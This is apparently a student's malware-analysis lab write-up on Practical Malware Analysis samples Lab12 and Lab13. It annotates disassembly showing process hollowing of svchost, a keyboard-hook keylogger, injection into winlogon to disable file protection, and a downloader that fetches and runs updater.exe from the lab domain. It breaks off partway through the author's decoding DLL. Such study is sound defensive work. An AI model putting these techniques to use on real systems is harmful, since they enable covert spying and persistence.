lea     eax, [ebp+ThreadId]
push   eax      ; lpThreadId
push   0         ; dwCreationFlags
push   0         ; lpParameter
push   offset sub_10001030 ; lpStartAddress
push   0         ; dwStackSize
push   0         ; lpThreadAttributes
call    ds>CreateThread
mov    [ebp+var_8], eax

```



```

loc_100010C6:
mov    eax, 1
mov    esp, ebp
pop    ebp
retn   0Ch
_DllMain@12 endp

```

Figure 8. Create Thread

Inside this subroutine, we will find an infinite loop popping a message box every 1 minute. The title of the message box is "Practical Malware Analysis %d" where %d is the value of the loop counter.





Figure 9. Popping MsgBox every minute

b. Analyze the malware found in the file *Lab12-02.exe*.**b. What is the purpose of this program?**

Based on dynamic analysis results using procmon and process explorer, we can conclude that this is a keylogger that performs process hollowing on svchost.exe.

Time	Process Name	PID	Operation	Path	Result	Data	Process ID
11:00	svchost.exe	1340	A. WriteFile	HKEY_LOCAL_MACHINE\Microsoft\Cryptography\PRO\Seed	SUCCESS	Type REG_BULK	1244
11:00	svchost.exe	1340	A. SetEndOfFileInformationFile	C:\Windows\system32\config\software\LB0	SUCCESS	EndOfFile 0/102	1244
11:00	svchost.exe	1340	A. SetEndOfFileInformationFile	C:\Windows\system32\config\software\LB0	SUCCESS	EndOfFile 0/102	1244
11:00	svchost.exe	1340	A. WriteFile	C:\Documents and Settings\Administrator\Desktop\myCollection\Chapter_12\practicalmalwareanalysis.log	SUCCESS	Other 0 Length 12	1244
11:00	svchost.exe	1340	A. WriteFile	C:\Documents and Settings\Administrator\Desktop\myCollection\Chapter_12\practicalmalwareanalysis.log	SUCCESS	Other 12 Length 12	1244
11:00	svchost.exe	1340	A. WriteFile	C:\Documents and Settings\Administrator\Desktop\myCollection\Chapter_12\practicalmalwareanalysis.log	SUCCESS	Other 34 Length 1	1244
11:00	svchost.exe	1340	A. WriteFile	C:\Documents and Settings\Administrator\Desktop\myCollection\Chapter_12\practicalmalwareanalysis.log	SUCCESS	Other 38 Length 1	1244
11:00	svchost.exe	1340	A. WriteFile	C:\Documents and Settings\Administrator\Desktop\myCollection\Chapter_12\practicalmalwareanalysis.log	SUCCESS	Other 39 Length 1	1244
11:00	svchost.exe	1340	A. WriteFile	C:\Documents and Settings\Administrator\Desktop\myCollection\Chapter_12\practicalmalwareanalysis.log	SUCCESS	Other 40 Length 1	1244
11:00	svchost.exe	1340	A. WriteFile	C:\Documents and Settings\Administrator\Desktop\myCollection\Chapter_12\practicalmalwareanalysis.log	SUCCESS	Other 41 Length 1	1244
11:00	svchost.exe	1340	A. WriteFile	C:\Documents and Settings\Administrator\Desktop\myCollection\Chapter_12\practicalmalwareanalysis.log	SUCCESS	Other 42 Length 1	1244
11:00	svchost.exe	1340	A. WriteFile	C:\Documents and Settings\Administrator\Desktop\myCollection\Chapter_12\practicalmalwareanalysis.log	SUCCESS	Other 43 Length 1	1244
11:00	svchost.exe	1340	A. WriteFile	C:\Documents and Settings\Administrator\Desktop\myCollection\Chapter_12\practicalmalwareanalysis.log	SUCCESS	Other 44 Length 1	1244
11:00	svchost.exe	1340	A. WriteFile	C:\Documents and Settings\Administrator\Desktop\myCollection\Chapter_12\practicalmalwareanalysis.log	SUCCESS	Other 45 Length 1	1244
11:00	svchost.exe	1340	A. WriteFile	C:\Documents and Settings\Administrator\Desktop\myCollection\Chapter_12\practicalmalwareanalysis.log	SUCCESS	Other 46 Length 1	1244
11:00	svchost.exe	1340	A. WriteFile	C:\Documents and Settings\Administrator\Desktop\myCollection\Chapter_12\practicalmalwareanalysis.log	SUCCESS	Other 47 Length 1	1244
11:00	svchost.exe	1340	A. WriteFile	C:\Documents and Settings\Administrator\Desktop\myCollection\Chapter_12\practicalmalwareanalysis.log	SUCCESS	Other 48 Length 1	1244
11:00	svchost.exe	1340	A. WriteFile	C:\Documents and Settings\Administrator\Desktop\myCollection\Chapter_12\practicalmalwareanalysis.log	SUCCESS	Other 49 Length 1	1244

Figure 1. Write file to practicalmalwareanalysis.log



```
practicalmalwareanalysis.log - Notepad
File Edit Format View Help

(window: Process Monitor Filter)
svchost1244
(window: Process Monitor - Sysinternals: www.sysinternals.com)

(window: Run)
notepad& [ENTER]
(window: Untitled - Notepad)
deadbeeF8 [ENTER]jmprsp[ENTER]helloworld BACKSPACE wBACKSPACE BACKSPACE BACKSPACE BACKSPACE BACKSPACE world
```

Figure 2. Keystrokes in log file

ii. How does the launcher program hide execution?

The subroutine @0x004010EA is highly suspicious. It is trying to create a process in suspended state, calls UnmapViewOfSection to unmap the original code and tries to write process memory in it. Finally it resumes the process. This is a recipe for process hollowing technique in which the running process will look like svchost.exe (in this case) but it is actually running something else instead.

```

1. Top Window (Assembly):
push 40h          ; size_t
push 0            ; int
lea   eax, [ebp+StartupInfo]
push  eax          ; void *
call _memset
add   esp, 4Ch
push  10h          ; size_t
push  0            ; int
lea   ecx, [ebp+ProcessInformation]
push  ecx          ; void *
call _NtCreateProcess
add   esp, 8Ch
lea   edx, [ebp+ProcessInformation]
push  edx          ; lpProcessInformation
lea   eax, [ebp+StartupInfo]
push  eax          ; lpStartupInfo
push  0            ; lpCurrentDirectory
push  0            ; lpEnvironment
push  CREATE_SUSPENDED ; dwCreationFlags
push  0            ; bInheritHandles
push  0            ; lpThreadAttributes
push  0            ; lpProcessAttributes
push  0            ; lpCommandLine
mov   ecx, [ebp+lpApplicationName]
push  ecx          ; lpApplicationName
call  ds:CreateProcessA
test  eax, eax
jz   loc_401313

```



```

2. Middle Window (Assembly):
push  4           ; FlProtect
push  1000h        ; FlAllocationType
push  2CCh         ; dwSize
push  0            ; lpAddress
call  ds:VirtualAlloc
mov  [ebp+lpContext], eax
mov  edx, [ebp+lpContext]
mov  duord ptr [edx], 10007h
mov  eax, [ebp+lpContext]
push  eax          ; lpContext
mov  ecx, [ebp+ProcessInformation.hThread]
push  ecx          ; hThread
call  ds:GetThreadContext
test  eax, eax
jz   loc_401300

```



```

3. Bottom Window (Assembly):
mov  [ebp+Buffer], 0
mov  [ebp+lpBaseAddress], 0
mov  [ebp+var_04], 0
push  0            ; lpNumberOfBytesRead
push  4             ; nSize
lea   edx, [ebp+Buffer]
push  edx          ; lpBuffer
mov  eax, [ebp+lpContext]
mov  ecx, [eax+0Ah]
add  ecx, 8
push  ecx          ; lpBaseAddress
mov  edx, [ebp+ProcessInformation.hProcess]
push  edx          ; hProcess
call  ds:ReadProcessMemory
push  offset ProcName ; "NtUnmapViewOfSection"
push  offset ModuleName ; "ntdll.dll"
call  ds:GetModuleHandleA
push  eax          ; hModule
call  ds:GetProcAddress
mov  [ebp+var_04], eax
cmp  [ebp+var_04], 0
jnz  short loc_4011FE

```

Figure 3. Create Suspended process, unmap memory



```

loc_401289:          ; lpNumberOfBytesWritten
push    0
push    4                 ; nSize
mov    edx, [ebp+var_8]
add    edx, 3hh
push    edx, [ebp+lpBuffer]
mov    eax, [ebp+lpContext]
mov    ecx, [eax+00hh]
add    ecx, 8
push    ecx, [ebp+lpBaseAddress]
mov    edx, [ebp+ProcessInformation.hProcess]
push    edx, [ebp+hProcess]
call    ds:WriteProcessMemory
mov    eax, [ebp+var_8]
mov    ecx, [ebp+lpBaseAddress]
add    ecx, [eax+28h]
mov    edx, [ebp+lpContext]
mov    [edx+0000h], ecx
mov    eax, [ebp+lpContext]
push    eax, [ebp+lpContext]
mov    ecx, [ebp+ProcessInformation.hThread]
push    ecx, [ebp+hThread]
call    ds:SetThreadContext
mov    edx, [ebp+ProcessInformation.hThread]
push    edx, [ebp+hThread]
call    ds:ResumeThread
jmp    short loc_401300

```

Figure 4. WriteProcessMemory, ResumeThread

iii. Where is the malicious payload stored?

In the resource, we can see a suspicious looking payload. IDA Pro further confirmed that this is the payload that will be extracted out.




Figure 5. Resource with lots of As in it

```
; Attributes: bp-based Frame

; int __cdecl FindResource(HMODULE hModule)
FindResource proc near

hResData= dword ptr -14h
hResInfo= dword ptr -10h
dwSize= dword ptr -0Ch
var_8= dword ptr -8
var_4= dword ptr -4
hModule= dword ptr 8

push    ebp
mov     ebp, esp
sub    esp, 14h
mov     [ebp+hResInfo], 0
mov     [ebp+hResData], 0
mov     [ebp+var_4], 0
mov     [ebp+dwSize], 0
mov     [ebp+var_8], 0
cmp     [ebp+hModule], 0
jnz     short loc_401362
```

```
loc_401362:          ; "UNICODE"
push    offset Type
push    offset Name   ; "LOCALIZATION"
mov     eax, [ebp+hModule]
push    eax           ; hModule
call    ds:FindResourceA
mov     [ebp+hResInfo], eax
cmp     [ebp+hResInfo], 0
jnz     short loc_401386
```

```
loc_401386:
mov     ecx, [ebp+hResInfo]
push    ecx           ; hResInfo
mov     edx, [ebp+hModule]
push    edx           ; hModule
call    ds:LoadResource
mov     [ebp+hResData], eax
cmp     [ebp+hResData], 0
jnz     short loc_4013A2
```

iv. How is the malicious payload protected?

By analyzing the find resource function @0x0040132C we will come across the following codes that suggests to us that the payload is XOR by “A”.

```
.text:0040141B loc_40141B:          push    'A'           ; CODE XREF: FindResource+E0Tj
.text:0040141B                           ; XOR Key
.text:0040141D     mov     edx, [ebp+dwSize]
.text:00401420     push    edx
.text:00401421     mov     eax, [ebp+var_8]
.text:00401424     push    eax
.text:00401425     call    XOR
.text:0040142A     add    esp, 0Ch
```

Figure 7. XOR by A

v. How are strings protected?

The strings are in plain... correct me if i am wrong

'S'	.data:0040506C	0000000D	C LOCALIZATION
'S'	.data:00405064	00000008	C UNICODE
'S'	.data:00405058	0000000A	C ntdll.dll
'S'	.data:00405040	00000015	C NtUnmapViewOfSection
'S'	.data:00405030	0000000D	C \\svchost.exe

Figure 8. Strings in plain

c. Analyze the malware extracted during the analysis of Lab 12-2, or use the file Lab12-03.exe**i. What is the purpose of this malicious payload?**

The use of SetWindowsHookExA with WH_KEYBOARD_LL as the id which suggests that this is a keylogger.




Figure 1. SetWindowsHookExA

ii. How does the malicious payload inject itself?

It uses Hook injection. Keystrokes can be captured by registering high- or low-level hooks using the WH_KEYBOARD or WH_KEYBOARD_LL hook procedure types, respectively. For WH_KEYBOARD_LL procedures, the events are sent directly to the process that installed the hook, so the hook will be running in the context of the process that created it. The malware can intercept keystrokes and log them to a file as seen in the figure below.

```
.text:004010C7 ; int __cdecl keylogs(int Buffer)
.text:004010C7 keylogs proc near ; CODE XREF: Fn+21fp
.text:004010C7
.text:004010C7 var_C      = dword ptr -0Ch
.text:004010C7 hFile       = dword ptr -8
.text:004010C7 NumberOFBytesWritten= dword ptr -4
.text:004010C7 Buffer      = dword ptr 8
.text:004010C7
.text:004010C7     push    ebp
.text:004010C8     mov     ebp, esp
.text:004010CA     sub     esp, 0Ch
.text:004010CD     mov     [ebp+NumberOFBytesWritten], 0
.text:004010D4     push    0          ; hTemplateFile
.text:004010D6     push    80h        ; dwFlagsAndAttributes
.text:004010D8     push    4          ; dwCreationDisposition
.text:004010DD     push    0          ; lpSecurityAttributes
.text:004010DF     push    2          ; dwShareMode
.text:004010E1     push    40000000h    ; dwDesiredAccess
.text:004010E6     push    offset FileName : "practicalmalwareanalysis.log"
.text:004010EB     call    ds>CreateFileA
.text:004010F1     mov     [ebp+hFile], eax
.text:004010F4     cmp     [ebp+hFile], 0FFFFFFFh
.text:004010F8     jnz    short loc_4010FF
.text:004010FA     jmp    loc_40143D
.text:004010FF :
.text:004010FF loc_4010FF:           ; CODE XREF: keylogs+31+j
.text:004010FF     push    2          ; dwMoveMethod
.text:00401101     push    0          ; lpDistanceToMoveHigh
.text:00401103     push    0          ; lDistanceToMove
.text:00401105     mov     eax, [ebp+hFile]
.text:00401108     push    eax        ; hFile
.text:00401109     call    ds:SetFilePointer
.text:0040110F     push    400h        ; nMaxCount
.text:00401114     push    offset Buffer : lpString
.text:00401119     call    ds:GetForegroundWindow
.text:0040111F     push    eax        ; hWnd
.text:00401120     call    ds:GetWindowTextA
.text:00401126     push    offset Buffer : char *
.text:00401128     push    offset byte_405350 : char *
.text:00401130     call    _strcmp
.text:00401135     add    esp, 8
.text:00401138     test   eax, eax
.text:0040113A     jz     short loc_4011AB
.text:0040113C     push    0          ; lpOverlapped
.text:0040113E     lea    ecx, [ebp+NumberOFBytesWritten]
```

Figure 2. Log to practicalmalwareanalysys.log

iii. What filesystem residue does this program create?


The malware will leave behind a log file containing the keylogs; practicalmalwareanalysys.log.

d. Analyze the malware found in the file *Lab12-04.exe*.

i. What does the code at 0x401000 accomplish?

The subroutine check if the process with the given process id is Winlogon.exe. If it is, it returns 1 else it returns 0.

```
50050
mov    edx, [ebp+dwProcessId]
push   edx          ; dwProcessId
push   0             ; bInheritHandle
push   410h          ; dwDesiredAccess
call   ds:OpenProcess
mov    [ebp+hObject], eax
cmp    [ebp+hObject], 0
jz    short loc_4010C2
```



ii. Which process has code injected?

Winlogon.exe is being targeted for injection. Subroutine @0x00401174 is responsible for process injection via CreateRemoteThread. If we trace back, we can see that only winlogon's pid is being passed to the subroutine.




Figure 2. Winlogon Pid being pushed as argument to inject subroutine

iii. What DLL is loaded using LoadLibraryA?

sfc_os.dll




Figure 3. sfc_os.dll

iv. What is the fourth argument passed to the CreateRemoteThread call?

Based on figure 3, the fourth argument is lpStartAddress in which if we were to trace up we will uncover that lpStartAddress is the address return by GetProcAddress(LoadLibraryA("sfc_os.dll"),2).

Loading sfc_os.dll in ida pro we can see the exports that points to ordinal 2 which resolves to SfcTerminateWatcherThread() as shown in figure 5..

Name	Address	Ordinal
sfc_os_1	76C6F382	1
sfc_os_2	76C6F250	2
sfc_os_3	76C693E8	3
sfc_os_4	76C69426	4
sfc_os_5	76C69436	5
sfc_os_6	76C694B2	6
sfc_os_7	76C694EF	7
SfcGetNextProtectedFile	76C69918	8
SfclsFileProtected	76C697C8	9
SfcWLEventLogoff	76C73CF7	10
SfcWLEventLogon	76C7494D	11
SfcDllEntry(x,x,x)	76C6F03A	[main entry]

Figure 4. sfc_os.dll's ordinal 2





Figure 5. SfcTerminateWatcherThread()

v. What malware is dropped by the main executable?

Analyzing the main method, we can see file movement from
 “C:\WINDOWS\system32\wupdmgmgr.exe” to a temp folder
 “C:\DOCUMENTS\ADMINISTRATOR\LOCALS\TEMP\winup.exe”



Figure

6. Backing up wupdmg.exe

The following subroutine is then called to extract the resource out from the executable and using it to replace “C:\WINDOWS\system32\wupdmg.exe”

```

sub_4011FC proc near
hFile= dword ptr -238h
Dest= byte ptr -234h
var_230= byte ptr -233h
hResInfo= dword ptr -124h
nNumberOfBytesToWrite= dword ptr -120h
Buffer= byte ptr -11Ch
var_11B= byte ptr -110h
hModule= dword ptr -8Ch
lpBuffer= dword ptr -8h
NumberOfBytesWritten= dword ptr -4h

push    ebp
mov     ebp, esp
sub    esp, 238h
push    edi
mov     [ebp+hModule], 0
mov     [ebp+hResInfo], 0
mov     [ebp+lpBuffer], 0
mov     [ebp+hFile], 0
mov     [ebp+nNumberOfBytesWritten], 0
mov     [ebp+nNumberOfBytesToWrite], 0
mov     [ebp+Buffer], 0
mov     ecx, 43h
xor     eax, eax
lea     edi, [ebp+var_11B]
rep stosd
stosb
mov     [ebp+Dest], 0
mov     ecx, 43h
xor     eax, eax
lea     edi, [ebp+var_233]
rep stosd
stosb
push    10Eh          ; uSize
lea     eax, [ebp+Buffer]
push    eax          ; lpBuffer
call    ds:GetWindowsDirectoryA
push    offset aSystem32Wupdmg : "\\\system32\\wupdmg.exe"
lea     ecx, [ebp+Buffer]
push    ecx
push    offset Format  : "%s"
push    10Eh          ; Count
lea     edx, [ebp+Dest]
push    edx          ; Dest
call    ds:_sprintf
add    esp, 1hh
push    0              ; lpModuleName
call    ds:GetModuleHandleA
mov     [ebp+hModule], eax
push    offset Type   : "B3H"
push    offset Name   : "IIIBI"
mov     eax, [ebp+hModule]
push    eax          ; hModule
call    ds:FindResourceA
mov     [ebp+hResInfo], eax
mov     ecx, [ebp+hResInfo]
push    ecx          ; hResInfo
mov     edx, [ebp+hModule]
push    edx          ; hModule
call    ds:LoadResource
mov     [ebp+InBuffer], eax

```

Figure 7. dropping form resource to system32\\wupdmg.exe





Figure 8. Bin 101 in the resource section

vi. What is the purpose of this and the dropped malware?

Apparently in order for **SfcTerminateWatcherThread()** to work, the caller must be from `winlogon.exe`. That explains why the malware goes through the trouble in looping through all running threads to locate `winlogon.exe` and it even attempts to get higher privileges by using **AdjustTokenPrivileges** to change token privilege to `seDebugPrivilege`. With the higher privilege, the malware then calls **CreateRemoteThread** to ask Winlogon to invoke **SfcTerminateWatcherThread()**. With that, file protection mechanism will be disabled and the malware can freely change the system protected files until the next reboot.

The dropped malware in “`C:\windows\system32\wupdmgmgr.exe`” executes the original `wupdmgmgr.exe` (which is now in the temp folder) and it attempts to download new malware from “<http://www.practicalmalwareanalysis.com/updater.exe>” and save it as “`C:\windows\system32\wupdmgmgr.exe`”

```
mov    [ebp+var_444], 0
lea    eax, [ebp+Buffer]
push   eax          ; lpBuffer
push   10Eh         ; nBufferLength
call   ds:GetTempPathA
push   offset aWinup_exe ; "\\winup.exe"
lea    ecx, [ebp+Buffer]
push   ecx
push   offset Format  ; "%s%s"
push   10Eh         ; Count
lea    edx, [ebp+Dest]
push   edx          ; Dest
call   ds:_snprintf
add    esp, 14h
push   5             ; uCmdShow
lea    eax, [ebp+Dest]
push   eax          ; lpCmdLine
call   ds:WinExec   ; execute original wupdmgrd.exe
push   10Eh         ; uSize
lea    ecx, [ebp+var_330]
push   ecx          ; lpBuffer
call   ds:GetWindowsDirectoryA
push   offset aSystem32Wupdng ; "\\system32\\wupdngrd.exe"
lea    edx, [ebp+var_330]
push   edx
push   offset aSS_0   ; "%s%s"
push   10Eh         ; Count
lea    eax, [ebp+CmdLine]
push   eax          ; Dest
call   ds:_snprintf
add    esp, 14h
push   0             ; LPBINDSTATUSCALLBACK
push   0             ; DWORD
lea    ecx, [ebp+CmdLine]
push   ecx          ; LPCSTR
push   offset aHttpWww_practi ; "http://www.practicalmalwareanalysis.com"...
push   0             ; LPUNKNOWN
call   URLDownloadToFileA
mov    [ebp+var_444], eax
cmp    [ebp+var_444], 0
jnz    short loc 401124
```



```
push   0             ; uCmdShow
lea    edx, [ebp+CmdLine]
push   edx          ; lpCmdLine
call   ds:WinExec
```

Figure 9. URLDownloadToFileA

Practical No. 7

a. Analyze the malware found in the file *Lab13-01.exe*.

- i. Compare the strings in the malware (from the output of the strings command) with the information available via dynamic analysis. Based on this comparison, which elements might be encoded?

In IDA Pro, we can see the following strings which are of not much meaning. However on execution, if we were to strings the memory using process explorer and sniff the network traffic, we can observe some new strings such as <http://www.practicalmalwareanalysis.com>.

Address	Length	Type	String
's' .rdata:004050E9	00000033	C	BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
's' .rdata:0040511D	0000000C	C	123456789+/
's' .rdata:00405156	00000006	unic...	DP
's' .rdata:0040515D	00000008	C	(8P)\a\b
's' .rdata:00405165	00000007	C	700WP\a
's' .rdata:00405174	00000008	C	\b'h'''
's' .rdata:0040517D	0000000A	C	pxxx\b\ab
's' .rdata:00405198	0000000E	unic...	(null)
's' .rdata:004051A8	00000007	C	(null)
's' .rdata:004051B0	0000000F	C	runtime error
's' .rdata:004051C4	0000000E	C	TLOSS error\r\n
's' .rdata:004051D4	0000000D	C	SING error\r\n
...

Figure 1. Meaningless string




Figure 2. URL found

ii. Use IDA Pro to look for potential encoding by searching for the string xor. What type of encoding do you find?

The subroutine @0x00401300 loads a resource in the binary and xor the value with ":"




Figure 3. FindResourceA 101



Figure 4. Resource String





Figure 5. XOR with ;

iii. What is the key used for encoding and what content does it encode?

The key used is ";". The decoded content is <http://www.practicalmalwareanalysis.com>.

iv. Use the static tools FindCrypt2, Krypto ANALyzer (KANAL), and the IDA Entropy Plugin to identify any other encoding mechanisms. What do you find?



KANAL plugin located 4 addresses that uses
“ABCDEF~~GHIJKLMNOPQRSTUVWXYZ~~abcdef~~ghijklmnopqrstuvwxyz~~0123456789+/-”

v. What type of encoding is used for a portion of the network traffic sent by the malware?

base64 encoding is used to encode the computer name.




Figure 7. Encoding string




Figure 8. String encoded



Figure 9. Checking base64 encoded string

vi. Where is the Base64 function in the disassembly?

At address 0x004010B1.

vii. What is the maximum length of the Base64-encoded data that is sent? What is encoded?

The maximum length is 12 characters. The maximum base64 length is 16 bytes.

```

; BOOL __stdcall httpRead(HINTERNET hFile, LPUUID lpBuffer, DWORD dwNumberOfBytesToRead,
httpRead proc near

    Buffer= byte ptr -558h
    hFile= dword ptr -358h
    szUrl= byte ptr -354h
    hInternet= dword ptr -154h
    name= byte ptr -150h
    szAgent= byte ptr -50h
    var_30= byte ptr -30h
    var_28= dword ptr -28h
    var_27= dword ptr -27h
    var_23= dword ptr -23h
    dwNumberOfBytesRead= dword ptr -1ch
    var_18= byte ptr -18h
    var_C= byte ptr -8Ch
    var_8= dword ptr -8
    var_4= dword ptr -4
    arg_0= dword ptr 0
    lpBuffer= dword ptr 0Ch
    dwNumberOfBytesToRead= dword ptr 10h
    lpdwNumberOfBytesRead= dword ptr 14h

    push    ebp
    mov     ebp, esp
    sub    esp, 558h
    mov    [ebp+var_30], 0
    xor    eax, eax
    mov    dword ptr [ebp+var_30+1], eax
    mov    [ebp+var_28], eax
    mov    [ebp+var_27], eax
    mov    [ebp+var_23], eax
    push   offset aMozilla_0 ; "Mozilla/4.0"
    lea    ecx, [ebp+szAgent]
    push   ecx
    call   _sprintf
    add    esp, 8
    push   100h           ; namelen
    lea    edx, [ebp+name]
    push   edx
    call   gethostname
    mov    [ebp+var_4], eax
    push   12             ; copy 12 characters
    lea    eax, [ebp+name]
    push   eax
    lea    ecx, [ebp+var_18]
    push   ecx
    call   _strncpy

```

Figure

10. Only 12 Characters

viii. In this malware, would you ever see the padding characters (= or ==) in the Base64-encoded data?

According to [wiki](#). If the plain text is not divisible by 3, padding will present in the encoded string.

ix. What does this malware do?

It keeps sending the computer name (max 12 bytes) to <http://www.practicalmalwareanalysis.com> every 30 seconds until 0x6F is received as the first character in the response.

b. Analyze the malware found in the file *Lab13-02.exe*

i. Using dynamic analysis, determine what this malware creates.

A file with size 6,214 KB is written on the same folder as the executable every few seconds. The naming convention of the file is **temp[8xhexadecimal]**. The file created seems random.




Figure 1. Proc Mon

ii. Use static techniques such as an xor search, FindCrypt2, KANAL, and the IDA Entropy Plugin to look for potential encoding. What do you find?

Only managed to find XOR instructions. Based on the search result, we would need to look at the following subroutine

1. 0x0040128D
2. 0x00401570
3. 0x00401739

Address	Function	Instruction
.text:00401040	sub_401000	xor eax, eax
.text:004012D6	sub_40128D	xor eax, [ebp+var_10]
.text:0040171F	sub_401570	xor eax, [esi+edx*4]
.text:0040176F	sub_401739	xor edx, [ecx]
.text:0040177A	sub_401739	xor edx, ecx
.text:00401785	sub_401739	xor edx, ecx
.text:00401795	sub_401739	xor eax, [edx+8]
.text:004017A1	sub_401739	xor eax, edx
.text:004017AC	sub_401739	xor eax, edx
.text:004017BD	sub_401739	xor ecx, [eax+10h]
.text:004017C9	sub_401739	xor ecx, eax
.text:004017D4	sub_401739	xor ecx, eax
.text:004017E5	sub_401739	xor edx, [ecx+18h]
.text:004017F1	sub_401739	xor edx, ecx
.text:004017FC	sub_401739	xor edx, ecx
.text:0040191E	_main	xor eax, eax
.text:0040311A		xor dh, [eax]
.text:0040311E		xor [eax], dh
.text:00403688		xor ecx, ecx
.text:004036A5		xor edx, edx

Figure 2. XOR

iii. Based on your answer to question 1, which imported function would be a good prospect for finding the encoding functions?

WriteFile: Trace up from WriteFile and we might locate the function responsible for encoding the contents.

iv. Where is the encoding function in the disassembly?

The encoding function is @0x0040181F. Tracing up from WriteFile, you will come across a function @0x0040181F. The function calls another subroutine(0x00401739) that performs the XOR operations and some shifting operations.

```
; Attributes: bp-based Frame
sub_401851 proc near
    FileName= byte ptr -20Ch
    hMem= dword ptr -0Ch
    nNumberOfBytesToWrite= dword ptr -8
    var_4= dword ptr -4

    push    ebp
    mov     ebp, esp
    sub    esp, 20Ch
    mov     [ebp+hMem], 0
    mov     [ebp+nNumberOfBytesToWrite], 0
    lea     eax, [ebp+nNumberOfBytesToWrite]
    push    eax
    lea     ecx, [ebp+hMem]
    push    ecx
    call    GetData      ; Steal Data
    add    esp, 8
    mov     edx, [ebp+nNumberOfBytesToWrite]
    push    edx
    mov     eax, [ebp+hMem]
    push    eax
    call    encode       ; Encode Data
    add    esp, 8
    call    ds:GetTickCount
    mov     [ebp+var_4], eax
    mov     ecx, [ebp+var_4]
    push    ecx
    push    offset aTemp08x ; "temp%08x"
    lea     edx, [ebp+FileName]
    push    edx          ; char *
    call    _sprintf
    add    esp, 0Ch
    lea     eax, [ebp+FileName]
    push    eax          ; lpFileName
    mov     ecx, [ebp+nNumberOfBytesToWrite]
    push    ecx          ; nNumberOfBytesToWrite
    mov     edx, [ebp+hMem]
```

Figure 3. encode

v. Trace from the encoding function to the source of the encoded content. What is the content?

Based on the subroutine @0x00401070. The malware is taking a screenshot of the desktop.

[GetDesktopWindow](#): Retrieves a handle to the desktop window. The desktop window covers the entire screen. The desktop window is the area on top of which other windows are painted.

[GetDC](#): The **GetDC** function retrieves a handle to a device context (DC) for the client area of a specified window or for the entire screen. You can use the returned handle in subsequent GDI functions to draw in the DC. The device context is an opaque data structure, whose values are used internally by GDI.

[CreateCompatibleDC](#): The **CreateCompatibleDC** function creates a memory device context (DC) compatible with the specified device.

[CreateCompatibleBitmap](#): The **CreateCompatibleBitmap** function creates a bitmap compatible with the device that is associated with the specified device context.

[BitBlt](#): The **BitBlt** function performs a bit-block transfer of the color data corresponding to a rectangle of pixels from the specified source device context into a destination device context.

```

mov    [ebp+hdcl], 0
push   0          ; nIndex
call   ds:GetSystemMetrics
mov    [ebp+var_1C], eax
push   1          ; nIndex
call   ds:GetSystemMetrics
mov    [ebp+cy], eax
call   ds:GetDesktopWindow
mov    hWnd, eax
mov    eax, hWnd
push   eax          ; hWnd
call   ds:GetDC
mov    hDC, eax
mov    ecx, hDC
push   ecx          ; hdc
call   ds>CreateCompatibleDC
mov    [ebp+hdcl], eax
mov    edx, [ebp+cy]
push   edx          ; cy
mov    eax, [ebp+var_1C]
push   eax          ; cx
mov    ecx, hDC
push   ecx          ; hdc
call   ds>CreateCompatibleBitmap
mov    [ebp+h], eax
mov    edx, [ebp+h]
push   edx          ; h
mov    eax, [ebp+hdcl] ; hdc
push   eax          ; hdc
call   ds>SelectObject
push   0CC0020h     ; rop
push   0          ; y1
push   0          ; x1
mov    ecx, hDC
push   ecx          ; hdcSrc
mov    edx, [ebp+cy]
push   edx          ; cy
mov    eax, [ebp+var_1C]
push   eax          ; cx
push   0          ; y
push   0          ; x
mov    ecx, [ebp+hdcl]
push   ecx          ; hdc
call   ds:BitBlt
lea    edx, [ebp+pv]
push   edx          ; pv
push   18h          ; c
mov    eax, [ebp+h]
push   eax          ; h
call   ds:GetObject

```

Figure 4. Screenshot

vi. Can you find the algorithm used for encoding? If not, how can you decode the content?

The encoder used is pretty lengthy to go through. However if we look at the codes in 0x401739, we can see lots of xor operations. If it is xor encoding we might be able to get back the original data if we call this subroutine again with the encrypted data.

```
.text:00401739 xor          proc near                ; CODE XREF: encode+264p
.text:00401739                 = dword ptr -4
.text:00401739 var_4        = dword ptr 8
.text:00401739 arg_0        = dword ptr 0Ch
.text:00401739 arg_4        = dword ptr 10h
.text:00401739 arg_8        = dword ptr 14h
.text:00401739 arg_C        = dword ptr 18h
.text:00401739
.text:00401739
.text:00401739 push    ebp
.text:0040173A mov     ebp, esp
.text:0040173C push    ecx
.text:0040173D mov     [ebp+var_4], 0
.text:00401744 jmp     short loc_40174F
.text:00401746 :
.text:00401746 loc_401746:           ; CODE XREF: xor+DD1j
.text:00401746 mov     eax, [ebp+var_4]
.text:00401749 add     eax, 10h
.text:0040174C mov     [ebp+var_4], eax
.text:0040174F loc_40174F:           ; CODE XREF: xor+8Tj
.text:0040174F mov     ecx, [ebp+var_4]
.text:00401752 cmp     ecx, [ebp+arg_C]
.text:00401755 jnb    loc_40181B
.text:00401758 mov     edx, [ebp+arg_0]
.text:0040175E push    edx
.text:0040175F call    shiftOperations
.text:00401764 add     esp, 4
.text:00401767 mov     eax, [ebp+arg_4]
.text:0040176A mov     ecx, [ebp+arg_0]
.text:0040176D mov     edx, [eax]
.text:0040176F xor    edx, [ecx]
.text:00401771 mov     eax, [ebp+arg_0]
.text:00401774 mov     ecx, [eax+14h]
.text:00401777 shr    ecx, 10h
.text:0040177A xor    edx, ecx
.text:0040177C mov     eax, [ebp+arg_0]
.text:0040177F mov     ecx, [eax+0Ch]
.text:00401782 shl    ecx, 10h
.text:00401785 xor    edx, ecx
.text:00401787 mov     eax, [ebp+arg_0]
.text:0040178A mov     [eax], edx
.text:0040178C mov     ecx, [ebp+arg_4]
.text:0040178F mov     edx, [ebp+arg_0]
.text:00401792 mov     eax, [ecx+4]
.text:00401795 xor    eax, [edx+8]
.text:00401798 mov     ecx, [ebp+arg_0]
.text:0040179B mov     edx, [ecx+1Ch]
.text:0040179E shr    edx, 10h
.text:004017A1 xor    eax, edx
.text:004017A3 mov     ecx, [ebp+arg_0]
.text:004017A6 mov     edx, [ecx+14h]
.text:004017A9 shl    edx, 10h
.text:004017AC xor    eax, edx
```

Figure 5. xor operations

vii. Using instrumentation, can you recover the original source of one of the encoded files?

My way of decoding the encoded files is to use DLL injection. To do that, i write my own DLL and create a thread to run the following function on **DLL_PROCESS_ATTACHED**. To attach the DLL to the malware process, we first run the malware and use a tool called **Remote DLL injector** by securityxploded to inject the DLL into the malicious process.

```

void decode()
{
    WIN32_FIND_DATA ffd;
    LARGE_INTEGER filesize;
    TCHAR szDir[MAX_PATH];
    size_t length_of_arg;
    HANDLE hFind = INVALID_HANDLE_VALUE;
    DWORD dwError=0;

    while(1){
        StringCchCopy(szDir, MAX_PATH, ".");
